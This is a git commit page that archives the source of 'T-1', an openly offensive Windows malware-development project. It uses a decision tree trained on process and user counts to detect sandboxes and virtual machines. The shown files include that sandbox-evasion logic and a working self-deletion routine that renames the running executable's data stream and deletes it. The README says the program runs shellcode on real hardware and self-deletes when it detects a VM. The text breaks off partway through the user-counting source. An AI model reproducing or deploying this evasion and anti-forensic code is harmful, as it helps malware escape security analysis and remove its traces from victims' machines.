mirror of
https://github.com/gmh5225/awesome-game-security
synced 2026-06-21 13:56:22 +00:00
archive: add 5 repo prompt(s) [skip ci]
This commit is contained in:
@@ -0,0 +1,905 @@
|
||||
Project Path: arc_0xTriboulet_T-1_wxaxzxdo
|
||||
|
||||
Source Tree:
|
||||
|
||||
```txt
|
||||
arc_0xTriboulet_T-1_wxaxzxdo
|
||||
├── LICENSE
|
||||
├── Makefile
|
||||
├── README.md
|
||||
├── build
|
||||
├── inc
|
||||
│ ├── AbsoluteValue.h
|
||||
│ ├── DeleteSelfFromDisk.h
|
||||
│ ├── GetProcessCountViaSnapShot.h
|
||||
│ ├── GetUniqueUserCountViaSnapshot.h
|
||||
│ ├── InlinedShellcodeExecution.h
|
||||
│ ├── VmDetection.h
|
||||
│ ├── debug.h
|
||||
│ └── intelligence.h
|
||||
├── python
|
||||
│ ├── DecisionTree
|
||||
│ │ ├── badtree.png
|
||||
│ │ ├── dataset
|
||||
│ │ │ └── process_data.csv
|
||||
│ │ └── decision_tree.py
|
||||
│ └── Utilities
|
||||
│ └── machine_data.py
|
||||
└── src
|
||||
├── AbsoluteValue.cxx
|
||||
├── DeleteSelfFromDisk.cxx
|
||||
├── GetProcessCountViaSnapShot.cxx
|
||||
├── GetUniqueUserCountViaSnapshot.cxx
|
||||
├── InlinedShellcodeExecution.cxx
|
||||
├── VmDetection.cxx
|
||||
└── main.cxx
|
||||
|
||||
```
|
||||
|
||||
`LICENSE`:
|
||||
|
||||
```
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2024 Steve S.
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
|
||||
```
|
||||
|
||||
`Makefile`:
|
||||
|
||||
```
|
||||
|
||||
# Set defaults
|
||||
EXEEXT := .exe
|
||||
|
||||
# Windows-specific settings
|
||||
ifeq ($(OS), Windows_NT)
|
||||
# Directories
|
||||
SRCDIR := .\src
|
||||
BUILDDIR := .\build
|
||||
INCDIR := .\inc
|
||||
WILD_OBJ := \*.o
|
||||
WILD_EXE := \*.exe
|
||||
|
||||
CXX := x86_64-w64-mingw32-g++
|
||||
CXXFLAGS := -I$(INCDIR) -Wall -Wextra -std=c++23 -O1 -static -Wno-missing-field-initializers -Wno-ignored-qualifiers -s -DDEBUG
|
||||
LDFLAGS := -L$(INCDIR) -luser32 -lkernel32 -loleaut32 -lwbemuuid -lole32 -s
|
||||
MKDIR := if not exist "$(BUILDDIR)" mkdir "$(BUILDDIR)"
|
||||
RM := del
|
||||
else
|
||||
# Cross-compiling from Linux to Windows
|
||||
|
||||
# Directories
|
||||
SRCDIR := ./src
|
||||
BUILDDIR := ./build
|
||||
INCDIR := ./inc
|
||||
WILD_OBJ := /*.o
|
||||
WILD_EXE := \*.exe
|
||||
|
||||
CXX := x86_64-w64-mingw32-g++
|
||||
CXXFLAGS := -I$(INCDIR) -Wall -Wextra -std=c++23 -O1 -static -Wno-missing-field-initializers -Wno-ignored-qualifiers -s -DDEBUG
|
||||
LDFLAGS := -L$(INCDIR) -lntdll -luser32 -lkernel32 -loleaut32 -lwbemuuid -lole32 -s
|
||||
MKDIR := mkdir -p $(BUILDDIR)
|
||||
RM := rm -f
|
||||
endif
|
||||
|
||||
# Target executable
|
||||
TARGET := $(BUILDDIR)/T-1$(EXEEXT)
|
||||
|
||||
# Source files
|
||||
SRCS := $(wildcard $(SRCDIR)/*.cxx)
|
||||
|
||||
# Object files
|
||||
OBJS := $(SRCS:$(SRCDIR)/%.cxx=$(BUILDDIR)/%.o)
|
||||
|
||||
# Rules
|
||||
all: $(TARGET)
|
||||
|
||||
$(TARGET): $(OBJS)
|
||||
$(CXX) $(CXXFLAGS) $(OBJS) $(LDFLAGS) -o $@
|
||||
$(RM) $(BUILDDIR)$(WILD_OBJ)
|
||||
|
||||
$(BUILDDIR)/%.o: $(SRCDIR)/%.cxx
|
||||
$(MKDIR)
|
||||
$(CXX) $(CXXFLAGS) -c -o $@ $<
|
||||
|
||||
clean:
|
||||
$(RM) $(BUILDDIR)$(WILD_OBJ)
|
||||
$(RM) $(BUILDDIR)$(WILD_EXE)
|
||||
|
||||
.PHONY: all clean
|
||||
|
||||
```
|
||||
|
||||
`README.md`:
|
||||
|
||||
```md
|
||||
# T-1: Intelligent VM Detection with DTC
|
||||
|
||||
## Project Overview
|
||||
|
||||
**T-1** is a C++ project inspired by the **T-1 Battlefield Robot**, also known as the **T-1 Ground Assault Vehicle**, which is a fully autonomous ground offensive system developed by Cyber Research Systems. This project simulates part of the logic behind the T-1 by leveraging a **Decision Tree Classifier (DTC)** trained using Python's **scikit-learn** library to implement VM detection in a C++ environment.
|
||||
|
||||
The model is trained to predict whether the system is running on a virtual machine based on the number of processes per user. The trained model is then used to implement VM detection in the C++ file `VmDetection.cxx`. The decision tree logic is extracted and converted into conditional statements that can be applied in any language, allowing the developer to integrate machine learning predictions into a C++ application.
|
||||
|
||||
### Key Features:
|
||||
- **Decision Tree Classifier (DTC) Training**: A Python script uses `scikit-learn` to train a decision tree model based on system data, which can be visualized and implemented in C++.
|
||||
- **VM Detection**: Implements the decision tree logic in the function `VmDetection` to determine whether the system is running on bare metal or inside a virtual machine.
|
||||
- **Self-Deletion and Shellcode Execution**: Based on the VM detection result, the system can either execute shellcode or self-delete when running in a virtualized environment.
|
||||
|
||||
## Project Structure
|
||||
|
||||
- **`main.cxx`**: The main entry point of the project, which handles process and user counting, executes VM detection, and takes appropriate action based on the result.
|
||||
- **`intelligence.h`**: Contains declarations for system functions such as `GetProcessCountViaSnapShot`, `GetUniqueUserCountViaSnapshot`, and `VmDetection`.
|
||||
- **`VmDetection.cxx`**: Implements the `VmDetection` logic based on the decision tree classifier's learnings.
|
||||
|
||||
- **Python Scripts**:
|
||||
- The `python` directory contains scripts for training the decision tree classifier on system data, visualizing the model, and exporting the learned logic for use in C++.
|
||||
|
||||
## Decision Tree Classifier Logic
|
||||
|
||||
The `VmDetection` function in C++ is based on the decision tree classifier model, which uses the `process_count_per_user` as the main feature to detect whether the system is virtualized or not:
|
||||
|
||||
```c++
|
||||
BOOL VmDetection(float process_count_per_user){
|
||||
|
||||
// Conditional extracted from DecisionTreeClassifier learnings
|
||||
if ((process_count_per_user > 75.3) || (process_count_per_user > 61.45 && process_count_per_user <= 69.3)){
|
||||
|
||||
PRINT("[i] Running on bare metal machine!\n");
|
||||
return TRUE;
|
||||
|
||||
}
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
```
|
||||
|
||||
This logic is derived from the decision tree model's learnings and applied to the `VmDetection` function in C++.
|
||||
|
||||
## Dependencies
|
||||
|
||||
- **C++**: The project is written in C++ and utilizes standard C++ libraries for system interaction.
|
||||
- **scikit-learn (Python)**: Used for training the decision tree model. The `python` directory contains all scripts and data needed to train and visualize the model.
|
||||
|
||||
## Setup Instructions
|
||||
|
||||
### Step 1: Train the Decision Tree Classifier
|
||||
The first step is to train the decision tree classifier using the provided Python scripts. These scripts are located in the `python` directory:
|
||||
|
||||
```bash
|
||||
cd .\python\DecisionTree
|
||||
python decision_tree.py
|
||||
```
|
||||
|
||||
This script will train the model based on the collected system data and output a visualization of the decision tree, which you can use to understand the model's decision-making process.
|
||||
|
||||
### Step 2: Build the C++ Project
|
||||
Once the decision tree logic has been extracted and implemented in `VmDetection.cxx`, you can build the C++ project using a standard C++ compiler.
|
||||
|
||||
```bash
|
||||
mingw32-make.exe
|
||||
```
|
||||
|
||||
### Step 3: Run the Executable
|
||||
After building the project, you can run the executable to perform VM detection and trigger appropriate actions:
|
||||
|
||||
```bash
|
||||
./build/T-1.exe
|
||||
```
|
||||
|
||||
## Special Thanks
|
||||
|
||||
Special thanks to all the researchers who voluntarily ran the Python script to collect the necessary data for training the Decision Tree Classifier. Your contributions made this project possible!
|
||||
|
||||
## License
|
||||
|
||||
T-1 is licensed under the MIT License.
|
||||
|
||||
---
|
||||
|
||||
*Inspired by the T-1 Ground Assault Vehicle, the first Terminator-class robot.*
|
||||
More information: [T-1 Terminator](https://terminator.fandom.com/wiki/T-1)
|
||||
|
||||
|
||||
```
|
||||
|
||||
`inc/AbsoluteValue.h`:
|
||||
|
||||
```h
|
||||
INT AbsoluteValue(INT x);
|
||||
|
||||
```
|
||||
|
||||
`inc/DeleteSelfFromDisk.h`:
|
||||
|
||||
```h
|
||||
BOOL DeleteSelfFromDisk();
|
||||
```
|
||||
|
||||
`inc/GetProcessCountViaSnapShot.h`:
|
||||
|
||||
```h
|
||||
BOOL GetProcessCountViaSnapShot(OUT DWORD* dwProcessCount);
|
||||
|
||||
```
|
||||
|
||||
`inc/GetUniqueUserCountViaSnapshot.h`:
|
||||
|
||||
```h
|
||||
BOOL GetUniqueUserCountViaSnapshot(OUT DWORD* dwUserCount);
|
||||
|
||||
```
|
||||
|
||||
`inc/InlinedShellcodeExecution.h`:
|
||||
|
||||
```h
|
||||
VOID InlinedShellcodeExecution();
|
||||
```
|
||||
|
||||
`inc/VmDetection.h`:
|
||||
|
||||
```h
|
||||
BOOL VmDetection(float process_count_per_user);
|
||||
```
|
||||
|
||||
`inc/debug.h`:
|
||||
|
||||
```h
|
||||
#ifdef DEBUG
|
||||
#define PRINT(...) printf(__VA_ARGS__)
|
||||
#else
|
||||
#define PRINT(...)
|
||||
#endif
|
||||
|
||||
```
|
||||
|
||||
`inc/intelligence.h`:
|
||||
|
||||
```h
|
||||
#include <stdio.h>
|
||||
#include <windows.h>
|
||||
#include <tlhelp32.h>
|
||||
#include <comdef.h>
|
||||
#include <comutil.h>
|
||||
#include <wbemidl.h>
|
||||
#include <string.h>
|
||||
|
||||
#define MemCopy __builtin_memcpy
|
||||
#define MemSet __stosb
|
||||
#define MemZero( p, l ) __stosb( p, 0, l )
|
||||
|
||||
#include "debug.h"
|
||||
|
||||
#include "GetProcessCountViaSnapShot.h"
|
||||
#include "GetUniqueUserCountViaSnapshot.h"
|
||||
#include "AbsoluteValue.h"
|
||||
#include "VmDetection.h"
|
||||
#include "InlinedShellcodeExecution.h"
|
||||
#include "DeleteSelfFromDisk.h"
|
||||
```
|
||||
|
||||
`python/DecisionTree/dataset/process_data.csv`:
|
||||
|
||||
```csv
|
||||
CSV Schema (1 sample row):
|
||||
Headers: Process Count, Process Count/User, User Count, Sandbox Score
|
||||
Sample: "33", "8", "4", "1"
|
||||
... [21 more rows omitted]
|
||||
|
||||
```
|
||||
|
||||
`python/DecisionTree/decision_tree.py`:
|
||||
|
||||
```py
|
||||
import numpy as np
|
||||
import pandas as pd
|
||||
import matplotlib.pyplot as plt
|
||||
|
||||
from sklearn.model_selection import RandomizedSearchCV
|
||||
from sklearn.model_selection import train_test_split
|
||||
from sklearn.tree import DecisionTreeClassifier
|
||||
from sklearn.metrics import accuracy_score
|
||||
from sklearn.tree import plot_tree
|
||||
|
||||
# Define the file path
|
||||
CSV_FILE = './dataset/process_data.csv'
|
||||
|
||||
MIN_DATASET_SIZE = 100
|
||||
R_STATE = 42
|
||||
|
||||
class BadDecisionTree:
|
||||
def __init__(self, df: pd.DataFrame):
|
||||
self.best_model = None
|
||||
self.model: DecisionTreeClassifier = DecisionTreeClassifier(random_state=R_STATE)
|
||||
self.hyperparams: dict = {
|
||||
'max_depth': np.arange(1, 10, dtype=int),
|
||||
'min_samples_leaf': np.arange(1, 50, dtype=int),
|
||||
'min_samples_split': np.arange(2, 10, dtype=int),
|
||||
'criterion': ["gini", "entropy", "log_loss"],
|
||||
'splitter': ["best", "random"],
|
||||
'class_weight': ["balanced", None],
|
||||
'ccp_alpha': np.linspace(0, 0.1, 50) # 100 values between 0 and 1
|
||||
}
|
||||
|
||||
|
||||
self.init_data: pd.DataFrame = df
|
||||
|
||||
self.data: pd.DataFrame = self.init_data.sample(frac=0.75, random_state=R_STATE)
|
||||
self.test_data: pd.DataFrame = self.init_data.drop(self.data.index)
|
||||
|
||||
self.best_score: float = 0.0
|
||||
|
||||
if self.data.shape[0] < MIN_DATASET_SIZE:
|
||||
self._data_augment()
|
||||
|
||||
self.X_train = self.data.drop('Sandbox Score', axis=1)
|
||||
self.y_train = self.data['Sandbox Score']
|
||||
|
||||
self.X_test = self.test_data.drop('Sandbox Score', axis=1)
|
||||
self.y_test = self.test_data['Sandbox Score']
|
||||
|
||||
def _data_augment(self) -> None:
|
||||
self.data = self.data.sample(n=MIN_DATASET_SIZE, replace=True)
|
||||
|
||||
def tune_hyperparameters(self) -> None:
|
||||
# Number of iteration for RandomizedSearchCV
|
||||
n_iter_search = 5000
|
||||
|
||||
# Setting up the Randomized Search with cross validation
|
||||
self.best_model = RandomizedSearchCV(self.model, param_distributions=self.hyperparams,
|
||||
n_iter=n_iter_search, cv=5, scoring='accuracy', random_state=R_STATE)
|
||||
|
||||
self.best_model.fit(self.X_train, self.y_train)
|
||||
self.best_score = self.best_model.best_score_
|
||||
return self.best_model.best_params_
|
||||
|
||||
def visualize_tree(self, filename: str):
|
||||
# Check if best_model is not None and if it's been fit
|
||||
if self.best_model and hasattr(self.best_model, 'best_estimator_'):
|
||||
plt.figure(figsize=(10, 6), dpi=100) # increase figure size and dpi
|
||||
|
||||
# Use plot_tree from sklearn.tree to visualize the tree
|
||||
plot_tree(self.best_model.best_estimator_,
|
||||
feature_names=self.X_train.columns,
|
||||
class_names=True,
|
||||
rounded=True,
|
||||
fontsize=8,
|
||||
filled=True)
|
||||
|
||||
# Save the tree
|
||||
plt.savefig(filename)
|
||||
else:
|
||||
print("The model has not been created or fitted yet")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
|
||||
# Read the CSV into a DataFrame
|
||||
data = pd.read_csv(CSV_FILE)
|
||||
|
||||
BadTree = BadDecisionTree(data)
|
||||
|
||||
# Print hyperparameters
|
||||
print("\n\nTraining BadTree:")
|
||||
print(BadTree.tune_hyperparameters())
|
||||
|
||||
# Define the data and the column names
|
||||
data = [[140, 70, 2]] # The data inside two brackets makes it a 2D list which represents one row and three columns
|
||||
columns = ['Process Count', 'Process Count/User', 'User Count']
|
||||
test_frame = pd.DataFrame(data, columns=columns)
|
||||
|
||||
badtrer_predict_test = BadTree.best_model.predict(BadTree.X_test)
|
||||
badtree_acc = accuracy_score(badtrer_predict_test, BadTree.y_test)
|
||||
|
||||
# Make a prediction on our novel test frame
|
||||
print(f'BadTree accuracy : {badtree_acc * 100:.2f}%\n')
|
||||
|
||||
|
||||
# Visualize and save the decision tree
|
||||
BadTree.visualize_tree("badtree.png")
|
||||
|
||||
```
|
||||
|
||||
`python/Utilities/machine_data.py`:
|
||||
|
||||
```py
|
||||
import psutil
|
||||
from collections import Counter
|
||||
import csv
|
||||
|
||||
def get_running_process_info():
|
||||
# List to hold the names and users of all running processes
|
||||
process_info = []
|
||||
|
||||
# Iterate over all running processes
|
||||
for process in psutil.process_iter(['name', 'username']):
|
||||
try:
|
||||
# Get the name and username of the process
|
||||
name = process.info['name']
|
||||
username = process.info['username']
|
||||
# Append the name and username as a tuple to the list
|
||||
process_info.append((name, username))
|
||||
except (psutil.NoSuchProcess, psutil.AccessDenied, psutil.ZombieProcess):
|
||||
# If the process has been terminated or access is denied, skip it
|
||||
continue
|
||||
|
||||
return process_info
|
||||
|
||||
def analyze_processes(process_info):
|
||||
# Calculate the total number of processes
|
||||
total_processes = len(process_info)
|
||||
|
||||
# Calculate the number of processes per user
|
||||
user_process_counts = Counter(user for _, user in process_info)
|
||||
|
||||
# Calculate the total number of unique users
|
||||
total_users = len(user_process_counts)
|
||||
|
||||
# Prepare data for CSV output
|
||||
data = [
|
||||
["Process Count", total_processes],
|
||||
["Process Count/Users", total_processes/total_users],
|
||||
["User Count", total_users],
|
||||
["Sandbox Score", 0]
|
||||
]
|
||||
|
||||
|
||||
# Append user process counts to data
|
||||
# data.extend([["None" if not user else "SYSTEM" if "SYSTEM" in user else "User", count] for user, count in user_process_counts.items()])
|
||||
|
||||
headers = []
|
||||
row = []
|
||||
|
||||
# Print formatted results
|
||||
for item in data:
|
||||
headers.append(item[0])
|
||||
row.append(item[1])
|
||||
print(f"{item[0]}: {item[1]}")
|
||||
|
||||
print(headers)
|
||||
print(row)
|
||||
|
||||
# Write results to CSV
|
||||
with open('process_info.csv', 'w', newline='') as file:
|
||||
writer = csv.writer(file)
|
||||
writer.writerow(headers)
|
||||
writer.writerow(row)
|
||||
|
||||
if __name__ == "__main__":
|
||||
running_processes = get_running_process_info()
|
||||
analyze_processes(running_processes)
|
||||
|
||||
#run me pls
|
||||
|
||||
```
|
||||
|
||||
`src/AbsoluteValue.cxx`:
|
||||
|
||||
```cxx
|
||||
#include "intelligence.h"
|
||||
|
||||
INT AbsoluteValue(INT x){
|
||||
return x < 0 ? -x : x;
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
`src/DeleteSelfFromDisk.cxx`:
|
||||
|
||||
```cxx
|
||||
/*
|
||||
* Strongly based on the implementation available on maldevacademy.com
|
||||
*/
|
||||
|
||||
#include "intelligence.h"
|
||||
|
||||
// Custom FILE_RENAME_INFO structure definition
|
||||
typedef struct _FILE_RENAME_INFO_EX {
|
||||
#if (_WIN32_WINNT >= _WIN32_WINNT_WIN10_RS1)
|
||||
union {
|
||||
BOOLEAN ReplaceIfExists;
|
||||
DWORD Flags;
|
||||
} DUMMYUNIONNAME;
|
||||
#else
|
||||
BOOLEAN ReplaceIfExists;
|
||||
#endif
|
||||
HANDLE RootDirectory;
|
||||
DWORD FileNameLength;
|
||||
WCHAR FileName[MAX_PATH]; // Instead of FileName[1]
|
||||
} FILE_RENAME_INFO_EX, * PFILE_RENAME_INFO_EX;
|
||||
|
||||
|
||||
BOOL DeleteSelfFromDisk() {
|
||||
|
||||
CONST WCHAR NEW_STREAM[7] = L":%x%x\x00";
|
||||
BOOL bSTATE = FALSE;
|
||||
WCHAR szFileName[MAX_PATH * 2] = { 0x00 };
|
||||
FILE_RENAME_INFO_EX FileRenameInfo_Ex = { .ReplaceIfExists = FALSE, .RootDirectory = 0x00 , .FileNameLength = sizeof(NEW_STREAM)};
|
||||
FILE_DISPOSITION_INFO FileDisposalInfo = { .DeleteFile = TRUE };
|
||||
HANDLE hLocalImgFileHandle = INVALID_HANDLE_VALUE;
|
||||
|
||||
if (GetModuleFileNameW(NULL, szFileName, (MAX_PATH * 2)) == 0x00) {
|
||||
PRINT("[!] GetModuleFileNameW Failed With Error: %ld \n", GetLastError());
|
||||
goto _END_OF_FUNC;
|
||||
}
|
||||
|
||||
swprintf(FileRenameInfo_Ex.FileName, MAX_PATH, NEW_STREAM, rand(), rand() * rand());
|
||||
|
||||
if ((hLocalImgFileHandle = CreateFileW(szFileName, DELETE | SYNCHRONIZE, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0x0, NULL)) == INVALID_HANDLE_VALUE) {
|
||||
PRINT("[!] CreateFileW [%d] Failed With Error: %ld \n", __LINE__, GetLastError());
|
||||
goto _END_OF_FUNC;
|
||||
}
|
||||
|
||||
if (!SetFileInformationByHandle(hLocalImgFileHandle, FileRenameInfo, &FileRenameInfo_Ex, sizeof(FILE_RENAME_INFO_EX))) {
|
||||
PRINT("[!] SetFileInformationByHandle [%d] Failed With Error: %ld \n", __LINE__, GetLastError());
|
||||
goto _END_OF_FUNC;
|
||||
}
|
||||
|
||||
CloseHandle(hLocalImgFileHandle);
|
||||
|
||||
if ((hLocalImgFileHandle = CreateFileW(szFileName, DELETE | SYNCHRONIZE, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0x0, NULL)) == INVALID_HANDLE_VALUE) {
|
||||
PRINT("[!] CreateFileW [%d] Failed With Error: %ld \n", __LINE__, GetLastError());
|
||||
goto _END_OF_FUNC;
|
||||
}
|
||||
|
||||
if (!SetFileInformationByHandle(hLocalImgFileHandle, FileDispositionInfo, &FileDisposalInfo, sizeof(FileDisposalInfo))) {
|
||||
PRINT("[!] SetFileInformationByHandle [%d] Failed With Error: %ld \n", __LINE__, GetLastError());
|
||||
goto _END_OF_FUNC;
|
||||
}
|
||||
|
||||
bSTATE = TRUE;
|
||||
|
||||
_END_OF_FUNC:
|
||||
if (hLocalImgFileHandle != INVALID_HANDLE_VALUE)
|
||||
CloseHandle(hLocalImgFileHandle);
|
||||
return bSTATE;
|
||||
}
|
||||
```
|
||||
|
||||
`src/GetProcessCountViaSnapShot.cxx`:
|
||||
|
||||
```cxx
|
||||
#include "intelligence.h"
|
||||
|
||||
BOOL GetProcessCountViaSnapShot(OUT DWORD* dwProcessCount) {
|
||||
|
||||
PROCESSENTRY32 ProcEntry = { .dwSize = sizeof(PROCESSENTRY32) };
|
||||
HANDLE hSnapShot = INVALID_HANDLE_VALUE;
|
||||
DWORD dwProcCount = 0x0;
|
||||
|
||||
if (!dwProcessCount){
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if ((hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0x0)) == INVALID_HANDLE_VALUE) {
|
||||
PRINT("[!] CreateToolhelp32Snapshot Failed With Error: %ld \n", GetLastError());
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if (!Process32First(hSnapShot, &ProcEntry)) {
|
||||
PRINT("[!] Process32First Failed With Error: %ld \n", GetLastError());
|
||||
goto _END_OF_FUNC;
|
||||
}
|
||||
|
||||
do {
|
||||
|
||||
dwProcCount++;
|
||||
|
||||
} while (Process32Next(hSnapShot, &ProcEntry));
|
||||
|
||||
*dwProcessCount = dwProcCount;
|
||||
|
||||
_END_OF_FUNC:
|
||||
if (hSnapShot != INVALID_HANDLE_VALUE){
|
||||
CloseHandle(hSnapShot);
|
||||
}
|
||||
|
||||
return (*dwProcessCount) ? TRUE : FALSE;
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
`src/GetUniqueUserCountViaSnapshot.cxx`:
|
||||
|
||||
```cxx
|
||||
#include "intelligence.h"
|
||||
|
||||
#define MAX_NAME 256
|
||||
#define HASH_TABLE_SIZE 1024
|
||||
|
||||
// based on: https://stackoverflow.com/questions/2686096/c-get-username-from-process
|
||||
|
||||
// Simple hash table implementation to track unique user names
|
||||
typedef struct HashEntry {
|
||||
char user[MAX_NAME * 2];
|
||||
struct HashEntry* next;
|
||||
} HashEntry;
|
||||
|
||||
typedef struct HashTable {
|
||||
HashEntry* entries[HASH_TABLE_SIZE];
|
||||
} HashTable;
|
||||
|
||||
unsigned int hash(const char* str) {
|
||||
unsigned int hash = 0;
|
||||
while (*str) {
|
||||
hash = (hash << 5) + hash + *str++;
|
||||
}
|
||||
return hash % HASH_TABLE_SIZE;
|
||||
}
|
||||
|
||||
void insert(HashTable* table, const char* user) {
|
||||
unsigned int index = hash(user);
|
||||
HashEntry* entry = table->entries[index];
|
||||
|
||||
while (entry != NULL) {
|
||||
|
||||
if (strcmp(entry->user, user) == 0) {
|
||||
return; // User already in table
|
||||
}
|
||||
entry = entry->next;
|
||||
}
|
||||
|
||||
entry = (HashEntry*)malloc(sizeof(HashEntry));
|
||||
strcpy(entry->user, user);
|
||||
entry->next = table->entries[index];
|
||||
table->entries[index] = entry;
|
||||
}
|
||||
|
||||
void clearTable(HashTable* table) {
|
||||
for (int i = 0; i < HASH_TABLE_SIZE; i++) {
|
||||
|
||||
HashEntry* entry = table->entries[i];
|
||||
|
||||
while (entry != NULL) {
|
||||
HashEntry* prev = entry;
|
||||
entry = entry->next;
|
||||
free(prev);
|
||||
}
|
||||
table->entries[i] = NULL;
|
||||
}
|
||||
}
|
||||
|
||||
BOOL GetLogonFromToken(HANDLE hToken, char* strUser, char* strDomain) {
|
||||
DWORD dwSize = MAX_NAME;
|
||||
BOOL bSuccess = FALSE;
|
||||
DWORD dwLength = 0;
|
||||
PTOKEN_USER ptu = NULL;
|
||||
|
||||
// Verify the parameter passed in is not NULL.
|
||||
if (NULL == hToken) {
|
||||
goto _END_OF_FUNC;
|
||||
}
|
||||
|
||||
if (!GetTokenInformation(
|
||||
hToken, // handle to the access token
|
||||
TokenUser, // get information about the token's groups
|
||||
(LPVOID)ptu, // pointer to PTOKEN_USER buffer
|
||||
0, // size of buffer
|
||||
&dwLength // receives required buffer size
|
||||
)) {
|
||||
if (GetLastError() != ERROR_INSUFFICIENT_BUFFER) {
|
||||
PRINT("GetTokenInformation Error %ld\n", GetLastError());
|
||||
goto _END_OF_FUNC;
|
||||
}
|
||||
|
||||
ptu = (PTOKEN_USER)HeapAlloc(GetProcessHeap(),
|
||||
HEAP_ZERO_MEMORY, dwLength);
|
||||
|
||||
if (ptu == NULL) {
|
||||
goto _END_OF_FUNC;
|
||||
}
|
||||
}
|
||||
|
||||
if (!GetTokenInformation(
|
||||
hToken, // handle to the access token
|
||||
TokenUser, // get information about the token's groups
|
||||
(LPVOID)ptu, // pointer to PTOKEN_USER buffer
|
||||
dwLength, // size of buffer
|
||||
&dwLength // receives required buffer size
|
||||
)) {
|
||||
goto _END_OF_FUNC;
|
||||
}
|
||||
|
||||
SID_NAME_USE SidType;
|
||||
char lpName[MAX_NAME];
|
||||
char lpDomain[MAX_NAME];
|
||||
|
||||
if (!LookupAccountSid(NULL, ptu->User.Sid, lpName, &dwSize, lpDomain, &dwSize, &SidType)) {
|
||||
DWORD dwResult = GetLastError();
|
||||
if (dwResult == ERROR_NONE_MAPPED) {
|
||||
strcpy(lpName, "NONE_MAPPED");
|
||||
} else {
|
||||
PRINT("LookupAccountSid Error %ld\n", GetLastError());
|
||||
}
|
||||
} else {
|
||||
strcpy(strUser, lpName);
|
||||
strcpy(strDomain, lpDomain);
|
||||
bSuccess = TRUE;
|
||||
}
|
||||
|
||||
_END_OF_FUNC:
|
||||
|
||||
if (ptu != NULL) {
|
||||
HeapFree(GetProcessHeap(), 0, (LPVOID)ptu);
|
||||
}
|
||||
return bSuccess;
|
||||
}
|
||||
|
||||
BOOL GetUserFromProcess(const DWORD procId, char* strUser, char* strDomain, char* placeHolder, DWORD* last_error) {
|
||||
HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, procId);
|
||||
HANDLE hToken = NULL;
|
||||
DWORD error = GetLastError();
|
||||
|
||||
if (hProcess == NULL) {
|
||||
|
||||
if(error != *last_error){
|
||||
placeHolder[0] += 1;
|
||||
*last_error = error;
|
||||
}
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if (!OpenProcessToken(hProcess, TOKEN_QUERY, &hToken)) {
|
||||
error = GetLastError();
|
||||
|
||||
if(error != *last_error){
|
||||
placeHolder[0] += 1;
|
||||
*last_error = error;
|
||||
}
|
||||
|
||||
CloseHandle(hProcess);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
BOOL bres = GetLogonFromToken(hToken, strUser, strDomain);
|
||||
|
||||
CloseHandle(hToken);
|
||||
CloseHandle(hProcess);
|
||||
return bres ? TRUE : FALSE;
|
||||
}
|
||||
|
||||
BOOL GetUniqueUserCountViaSnapshot(DWORD* dwUserCount) {
|
||||
PROCESSENTRY32 ProcEntry = { .dwSize = sizeof(PROCESSENTRY32) };
|
||||
HANDLE hSnapShot = INVALID_HANDLE_VALUE;
|
||||
char PlaceHolder[] = "0_PlaceHolder";
|
||||
HashTable uniqueUsers = { 0 }; // Initialize hash table
|
||||
DWORD lastErrorCode = 0x0; // Lazy unique error code check
|
||||
|
||||
if (!dwUserCount) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if ((hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0x0)) == INVALID_HANDLE_VALUE) {
|
||||
PRINT("[!] CreateToolhelp32Snapshot Failed With Error: %ld \n", GetLastError());
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if (!Process32First(hSnapShot, &ProcEntry)) {
|
||||
PRINT("[!] Process32First Failed With Error: %ld \n", GetLastError());
|
||||
CloseHandle(hSnapShot);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
do {
|
||||
char strUser[MAX_NAME], strDomain[MAX_NAME];
|
||||
if (GetUserFromProcess(ProcEntry.th32ProcessID, strUser, strDomain, PlaceHolder, &lastErrorCode)) {
|
||||
insert(&uniqueUsers, strUser);
|
||||
}else{
|
||||
insert(&uniqueUsers, PlaceHolder);
|
||||
}
|
||||
|
||||
} while (Process32Next(hSnapShot, &ProcEntry));
|
||||
|
||||
*dwUserCount = 0;
|
||||
|
||||
for (int i = 0; i < HASH_TABLE_SIZE; i++) {
|
||||
HashEntry* entry = uniqueUsers.entries[i];
|
||||
while (entry != NULL) {
|
||||
(*dwUserCount)++;
|
||||
entry = entry->next;
|
||||
}
|
||||
}
|
||||
|
||||
if (hSnapShot != INVALID_HANDLE_VALUE) {
|
||||
CloseHandle(hSnapShot);
|
||||
}
|
||||
|
||||
clearTable(&uniqueUsers);
|
||||
|
||||
